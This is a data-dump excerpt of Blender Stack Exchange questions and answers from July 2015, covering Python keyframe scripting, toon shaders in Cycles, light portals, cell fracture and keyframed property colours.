  <row Id="33857" PostTypeId="2" ParentId="33845" CreationDate="2015-07-12T19:01:19.423" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Asiwd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, when you change the parameters of the texture's colors, the texture doesn't change: it changes the way the texture is rendered: in the properties window you have the preview tab for monitoring the process. Another way is to choose the &quot;Rendered&quot; viewport shading in the header of the 3D Window.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-12T19:01:19.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33858" PostTypeId="1" AcceptedAnswerId="33866" CreationDate="2015-07-12T19:26:08.460" Score="1" ViewCount="325" Body="&lt;p&gt;I am trying to add add keyframes to an object from values in a csv file using python. It successfully reads the file and puts it into a list. However, it just gives me this error when adding the keyframes. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: Writing to ID classes in this context is not allowed: Camera, Object datablock, error setting Object.&amp;lt;UNKNOWN&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code that i have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    results = []&#xA;    layout = self.layout&#xA;&#xA;    obj = context.object&#xA;&#xA;    with open('record.txt', newline='') as inputfile:&#xA;        for row in csv.reader(inputfile):&#xA;            results.append(row)&#xA;    line = 0&#xA;    for x in results:&#xA;        line += 1&#xA;        if line &amp;gt; 2:&#xA;            currentFrame = str(x)&#xA;            xRot, yRot, zRot,_,_ = currentFrame.split(';')&#xA;            xRot = xRot.replace(&quot;['&quot;, &quot;&quot;)&#xA;            print(xRot + &quot; &quot; + yRot + &quot; &quot; + zRot)&#xA;            obj.rotation_euler[0] += float(xRot)&#xA;            obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame= float(line), index=0)&#xA;            obj.rotation_euler[1] += float(yRot)&#xA;            obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame= float(line), index=1)&#xA;            obj.rotation_euler[2] += float(zRot)&#xA;            obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame= float(line), index=2)                 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate suggestions in how to solve this issue.         &lt;/p&gt;&#xA;" OwnerUserId="15598" LastActivityDate="2015-07-14T16:49:05.097" Title="AttributeError when adding keyframes in draw function" Tags="&lt;python&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33859" PostTypeId="1" AcceptedAnswerId="56853" CreationDate="2015-07-12T19:26:32.900" Score="0" ViewCount="1760" Body="&lt;p&gt;Cell fracture messes up texture UV, doesn't apply material to interior, doesn't take fracture count limit into account. (makes 12-20 cells no matter what value I set)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need fracturing for my game and I've been struggling with this for the past two days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a version of blender where cell fracturing works properly? I have tried 5 of them.&lt;/p&gt;&#xA;" OwnerUserId="15604" LastActivityDate="2019-01-28T02:10:00.827" Title="Cell fracture messes up texture UV, doesn't apply material to interior, doesn't take fracture count limit into account" Tags="&lt;uv&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33860" PostTypeId="1" CreationDate="2015-07-12T19:43:04.583" Score="1" ViewCount="1146" Body="&lt;p&gt;Sometimes I am modeling something that has parts which would be much easier to attach separately, as opposed to joining them. For example, a sword. I could model the blade and hilt and hand guard separately, or I could do it such that it is a single, joined mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that if parts are going to be animated like a wheel on an axle it obviously can make sense to use separate parts; and that a head should probably be connected to a neck for smoother lighting and stretching. But otherwise, is there any reason not to use separate parts if it makes the process easier? Does an engine work harder, or does it use more texture memory, etc.?&lt;/p&gt;&#xA;" OwnerUserId="15605" LastEditorUserId="3401" LastEditDate="2015-07-13T05:13:24.540" LastActivityDate="2015-07-13T07:53:17.093" Title="Single continuous mesh vs disconnected parts" Tags="&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33861" PostTypeId="1" CreationDate="2015-07-12T19:57:10.247" Score="1" ViewCount="141" Body="&lt;p&gt;I'm trying to create a spider web that is dynamically moving using wind and vortex force fields. Water drops, in slightly random sizes, should be sliding down the threads at a random but constant speed. I've tried a few different scenarios but all without success. Here's what I tried already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a cylinder, made it very thin and long and added a cloth modifier with pins at the top and bottom. Then I added a path and gave it a shrinkwrap modifier to follow the cylinder. Next I added a particle system and added a curve guide force field on the path so the particles would follow the curve. Lastly I added the vortex and wind force fields. Unfortunately this setup doesn't work. The particles keep following the initial shape of the path rather than the dynamically calculated shrinkwrapped curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thread has the perfect movement so I'm nearly there. Now what I need is to be able to get the drops stick to the thread (e.g. cylinder) while sliding down at random speeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could solve this with shape keys on detached meshes in the cylinder object, but I would rather like to have the drops generated by a particle system. Eventually I will need to have about 50 threads, every one with it's own random set of drops, so manually generating all of them would be a massive job :)&lt;/p&gt;&#xA;" OwnerUserId="7460" LastActivityDate="2015-07-12T19:57:10.247" Title="Water drops on a moving spider web" Tags="&lt;cloth-simulation&gt;&lt;force-fields&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33863" PostTypeId="2" ParentId="33851" CreationDate="2015-07-12T20:26:05.073" Score="1" Body="&lt;p&gt;You should have both Scene Layers 1 and 3 selected so both layers affect each other. Your render layers can stay as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8pJoR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you are using Layer 3 to mask out Layer 1, but because Layer 3 contains objects in front and behind the character on Layer 1 it's masking out the character completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to need put the elements behind the character (floor, etc.) on a different layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V9kws.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E2Cey.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting something like this for the Shadows&gt;Shadow pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y7CGd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I noticed you're rendering out to PNG file without using the compositor. Doing it this way will just give you your main Combined pass. You'll need to render to a MultiLayer EXR (renders all passes into one file per frame), OR you'll have to set up File Output nodes in the compositor to render out separate PNG image sequences for the additional render passes you need.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-13T05:25:45.503" LastActivityDate="2015-07-13T05:25:45.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33865" PostTypeId="2" ParentId="33837" CreationDate="2015-07-12T20:41:18.173" Score="2" Body="&lt;p&gt;Most errors will be fixed by inproving the trackers' accuracy.&#xA;There are a few tools you can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the tracking window's dopesheet sort your trackers by average error.&#xA;This will show you which trackers are not tracking correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ox2IM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the graph window look for places where the graphs are clearly different than the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6BKPN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix those issues Retrack, reposition, resize, affine, use a different kind of motion model algorithm  or tracking preset or do whatever you can to improve the accuracy of those trackers to to bring down the error average..&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-12T20:55:35.797" LastActivityDate="2015-07-12T20:55:35.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33866" PostTypeId="2" ParentId="33858" CreationDate="2015-07-12T20:59:27.780" Score="1" Body="&lt;p&gt;The draw function is for UI only (defining layout and visibility of properties, sliders etc). It's called multiple times per second, sometimes 20 or more times, as you move your mouse around&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't change &lt;code&gt;bpy.data&lt;/code&gt; (including keyframes) from inside &lt;code&gt;draw&lt;/code&gt;, it is blocked by design. You probably don't want to repeatedly execute that code anyway. A standard approach is to Run it from Text Editor with or without an enclosing function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this represents the first and second line of the the dataset, and the next lines are all formatted like line 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;dataset.txt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GYROSCOPE X (°/s);GYROSCOPE Y (°/s);GYROSCOPE Z (°/s);Time since start in ms ;YYYY-MO-DD HH-MI-SS_SSS&#xA;9.08;-1.04;-9.51;20;2015-07-03 14:17:34:206&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import csv&#xA;import bpy&#xA;&#xA;def some_function(fp):&#xA;&#xA;    obj = bpy.data.objects['Camera']&#xA;&#xA;    results = []&#xA;    with open(fp, newline='') as inputfile:&#xA;        row_gen = csv.reader(inputfile)&#xA;        next(row_gen) # skip first line.&#xA;&#xA;        for row in row_gen:&#xA;            results.append(row[0].split(';'))&#xA;&#xA;    # start making frames at frame 1&#xA;    for idx, frame_data in enumerate(results, 1):&#xA;        xRot, yRot, zRot = frame_data[:3]&#xA;        print(xRot, yRot, zRot)&#xA;        obj.rotation_euler[0] += float(xRot)&#xA;        obj.rotation_euler[1] += float(yRot)&#xA;        obj.rotation_euler[2] += float(zRot)&#xA;        obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=idx, index=-1)&#xA;&#xA;some_function(fp='/home/zeffii/Desktop/zen/dataset.txt')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;-1&lt;/code&gt; at the end indicates that the keyframe is to be added after the other existing keyframes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For info about paths; whether to use back or forward slashes, see:   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/tags/path/info&quot;&gt;https://blender.stackexchange.com/tags/path/info&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Adding this for completeness, because it differs across Operating Systems.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-07-14T16:49:05.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33868" PostTypeId="2" ParentId="33854" CreationDate="2015-07-12T21:54:13.690" Score="0" Body="&lt;p&gt;It seems that my computer wasn't able to handle 20fps and I managed to get the Quick Smoke simulation to run at 10fps &amp;amp; even better at 8fps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made this adjustment under Frame Rate 'custom' on the bottom right here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/weYgn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15576" LastActivityDate="2015-07-12T21:54:13.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33869" PostTypeId="1" CreationDate="2015-07-12T22:07:15.020" Score="3" ViewCount="92" Body="&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def textanim():&#xA;    print(&quot;GOGO&quot;)&#xA;    print(&quot;end&quot;)&#xA;    scene = bge.logic.getCurrentScene()&#xA;    print(&quot;end&quot;)&#xA;    scoreAnim = scene.objectsInactive[&quot;scoreAnim&quot;]&#xA;    print(&quot;endNach anim&quot;)&#xA;    scoreSpawn = scene.objects[&quot;TextSpawn&quot;]&#xA;    print(scoreAnim)&#xA;    print(&quot;end&quot;)&#xA;    c = scene.objects[&quot;Cube&quot;]&#xA;    newText = scene.addObject(scoreAnim,scoreSpawn)&#xA;    newText[&quot;anim&quot;] = True&#xA;    print(&quot;all lines were ececutet (hopefully)&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WlkEE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, not all the lines are executed, but there aren't errors either.&lt;br&gt;&#xA;As Chebhou said the problem is the line where i try to load the FontObject:&lt;br&gt;&#xA;scoreAnim = scene.objectsInactive[&quot;scoreAnim&quot;]&lt;br&gt;&#xA;I copied this at the beginning of another function and than this function isn't executed anymore.&lt;br&gt;&#xA;So there is any problem with loading Font objects. Although I have it on an Inactive layer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function should duplicate a score text object. The duplicated object than should then play an animation and slide to a corner. The score is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can download the .blend&lt;br&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/9xiy468htwgmiq7/2D%20carGame.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;2D car Game&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="15497" LastEditDate="2015-07-13T11:53:29.087" LastActivityDate="2015-11-12T18:23:32.350" Title="Why is some code being skipped in the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33870" PostTypeId="2" ParentId="33829" CreationDate="2015-07-12T22:19:23.657" Score="0" Body="&lt;p&gt;The way how and when scripts are executed is a bit confusing at the beginning. Sensors send singnals when they change their states.&lt;br&gt;&#xA;For example if you have an collision sensor which is attached to a script. than this script will be executed twice when the sensor detects a collision. once when it changes from false to True and again when it changes from True to False. But if you just use an always sensor (without tigger mode) than the script schould be executed only once, at the first frame because the sensor will never change again (always True).&lt;br&gt;&#xA;Another methed is to write an init function inside of your script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;own = bge.logic.getCurrentController.owner&#xA; if not &quot;anyPropertyWhichDoesntExistInThisObject&quot; in own:&#xA;     own[&quot;anyPropertyWhichDoesntExistInThisObject&quot;] = True&#xA;     #here you now can write your initialisation code which wont be executed again&#xA;&lt;/code&gt;    &lt;/p&gt;&#xA;" OwnerUserId="15497" LastActivityDate="2015-07-12T22:19:23.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33871" PostTypeId="1" AcceptedAnswerId="33880" CreationDate="2015-07-12T23:02:23.380" Score="38" ViewCount="39851" Body="&lt;p&gt;Is there a way to make a true toon shader material in Cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's, in order of importance, what would be ideal to find in such a shader:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Must use Cycles&lt;/li&gt;&#xA;&lt;li&gt;Must be an actual shader&lt;/li&gt;&#xA;&lt;li&gt;Must not rely on lighting&lt;/li&gt;&#xA;&lt;li&gt;Must be independent of camera position&lt;/li&gt;&#xA;&lt;li&gt;Must react directly to lighting rather than manually having to change it to emulate it&lt;/li&gt;&#xA;&lt;li&gt;Should be easily made into a node-group&lt;/li&gt;&#xA;&lt;li&gt;Should have the following configurability:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Main color&lt;/li&gt;&#xA;&lt;li&gt;Darkness color&lt;/li&gt;&#xA;&lt;li&gt;Shadow depth (how far the shadow goes from the unlit side)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Below, I'll be listing some already-found methods and their flaws:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Cycles's Toon BDSF:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Source: Blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N3oDZ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Node setup:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B22Xy.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not a clear-cut two-color shading&lt;/li&gt;&#xA;&lt;li&gt;Reacts to diffusion of surrounding objects &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Mask &amp;amp; Ramp:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://blender.stackexchange.com/questions/10925/how-to-render-cartoon-style-with-completely-flat-colors&quot;&gt;Blender StackExchange&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fPNF6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Node setup (Compositor):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ynEm.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Very grainy&lt;/li&gt;&#xA;&lt;li&gt;Does not support colour textures&lt;/li&gt;&#xA;&lt;li&gt;Not easy to change shadow depth in a nodegroup&lt;/li&gt;&#xA;&lt;li&gt;Not a material, requires compositor&lt;/li&gt;&#xA;&lt;li&gt;Requires use of object indexes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Shadeless Fresnel:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://nixart.wordpress.com/2012/05/19/blender-cycles-toon-material-node-setup/&quot; rel=&quot;noreferrer&quot;&gt;NixArt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZsXCH.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Node setup:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cGM3L.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uses camera's direction&lt;/li&gt;&#xA;&lt;li&gt;Ignores lighting&lt;/li&gt;&#xA;&lt;li&gt;Not easy to change shadow depth in a nodegroup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Shadeless Normal:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://nixart.wordpress.com/2012/05/22/blender-cycles-toon-material-node-setup-update/&quot; rel=&quot;noreferrer&quot;&gt;NixArt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/juOBG.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Node setup:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jnElf.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ignores lighting&lt;/li&gt;&#xA;&lt;li&gt;Direction of shadow is manually changed&lt;/li&gt;&#xA;&lt;li&gt;Not easy to change shadow depth in a nodegroup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, this one is easily the best one. It's pretty great, and would work still images very well.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That's all I've got. Does anyone else have any methods that fall under most of the criteria I listed above? Also note that OSL is totally fine, if it works.&lt;/p&gt;&#xA;" OwnerUserId="7806" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2021-01-10T04:35:53.657" Title="Is there really a way to make a true toon shader material in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="31" ContentLicense="CC BY-SA 3.0" />
  <row Id="33872" PostTypeId="1" CreationDate="2015-07-12T23:47:18.607" Score="1" ViewCount="61" Body="&lt;p&gt;I was wondering if it's possible to have Blender render visible light that fade away the farther it gets from the light source in Cycles render?&lt;/p&gt;&#xA;" OwnerUserId="15610" LastActivityDate="2015-07-12T23:47:18.607" Title="Is it possible to have Blender render rays of light that fade away?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-13T03:28:41.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="33873" PostTypeId="2" ParentId="33860" CreationDate="2015-07-13T02:35:32.133" Score="2" Body="&lt;p&gt;The best reason to use separate parts is because it makes the process easier. And because it is much easier to join two objects into one than to split one object into two, in my own workflow, if I have the slightest hint of a doubt that I might want to be able to access the items separately later on, I make them separate, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But separate does not always mean two objects. Sometimes I make two or more meshes as sub-objects of the same object, for example, I might make the rear wheels of a wagon as two sub meshes of the same object, but the axle as a separate object altogether. When I make two or more meshes sub objects of the same object, I make some effort to make sure that those sub meshes are easily separately accessible. One way is to assign them to different vertex groups, but sometimes it is enough to just make sure that there are no connections between the sub-meshes, so they can be selected with &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-13T07:53:17.093" LastActivityDate="2015-07-13T07:53:17.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33874" PostTypeId="1" CreationDate="2015-07-13T04:00:41.330" Score="1" ViewCount="53" Body="&lt;p&gt;I was wondering if it was possible to do something like &lt;a href=&quot;https://blender.stackexchange.com/questions/24493/is-it-possible-to-make-visible-spotlight-lightrays&quot;&gt;this&lt;/a&gt; but also apply the effect used in &lt;a href=&quot;https://blender.stackexchange.com/questions/10770/changing-the-intensity-falloff-of-light-sources-using-cycles-nodes&quot;&gt;this&lt;/a&gt; to the cone of light in Cycles.  I was told by someone else that I need volumetrics, but I'm not quite sure how to do this.&lt;/p&gt;&#xA;" OwnerUserId="15610" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-13T04:00:41.330" Title="I was wondering how you'd go about creating a visible cone of light that fades" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-07-13T12:34:20.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="33875" PostTypeId="1" CreationDate="2015-07-13T04:31:53.740" Score="5" ViewCount="2131" Body="&lt;p&gt;I'm trying to edit a template I downloaded for a personal project.  I have specific axis values from a previous version of the template that I wish to add to the updated version.  However when I do, and I move the timeline cursor to review it, the properties revert back to their previous values.  The fields that I'm trying to change are highlighted in green for a reason I'm not entirely sure about, but presumably it's connected to the trouble I'm having.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is twofold; what does it mean when properties are highlighted in green and, if the two are not connected, is there any way I can correct the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Blender version 2.62 on a Windows 8.1 64-bit operating system.  I've attached a couple photos in case they will be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6uVh.jpg&quot; alt=&quot;original template version&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OtX6M.jpg&quot; alt=&quot;new template version&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15613" LastActivityDate="2015-07-14T19:07:56.013" Title="What does it mean when a property is highlighted in green?" Tags="&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33876" PostTypeId="2" ParentId="33875" CreationDate="2015-07-13T05:03:14.950" Score="9" Body="&lt;p&gt;Green means a property has a keyframe applied, but not on the current frame. (yellow means the key is on the current frame). Your changes aren't sticking because it's reverting to the keyed values. You can set a new key if you'd like by right-clicking the field and hitting &quot;insert keyframe&quot;, adjust the key values in the graph editor, or just clear them all by right-clicking the prop and hitting &quot;clear keyframes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for the sake of completeness, a purple property is one that has a &lt;a href=&quot;https://www.blender.org/manual/animation/basics/drivers.html&quot;&gt;driver&lt;/a&gt; set.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastEditorUserId="5705" LastEditDate="2015-07-14T19:07:56.013" LastActivityDate="2015-07-14T19:07:56.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33877" PostTypeId="2" ParentId="33017" CreationDate="2015-07-13T05:05:43.517" Score="8" Body="&lt;p&gt;Light portals are a method of reducing noise, which, as you already noted, is new in 2.75.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light portals help to remove noise by guiding rays from the environment through the openings where a portal is positioned. Because of the fact that they are designed for openings, they are most useful for architectural scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It acts a bit like setting a light or HDR set to multiple importance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sampling is also slower when using portals, but usually the reduced noise more than makes up for the time lost while sampling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a light portal, add an area lamp, and position it in the center of an opening. Make sure that it is facing inside. Then, using the lamp settings, change the dimensions of the lamp to fit the opening, and check the portal checkbox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJ4wN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lHYqg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/lamps.html#light-portals&quot; rel=&quot;nofollow noreferrer&quot;&gt;two comparisons from the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E09wI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E09wI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1vkvc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1vkvc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="599" LastEditDate="2018-10-06T22:18:36.823" LastActivityDate="2018-10-06T22:18:36.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
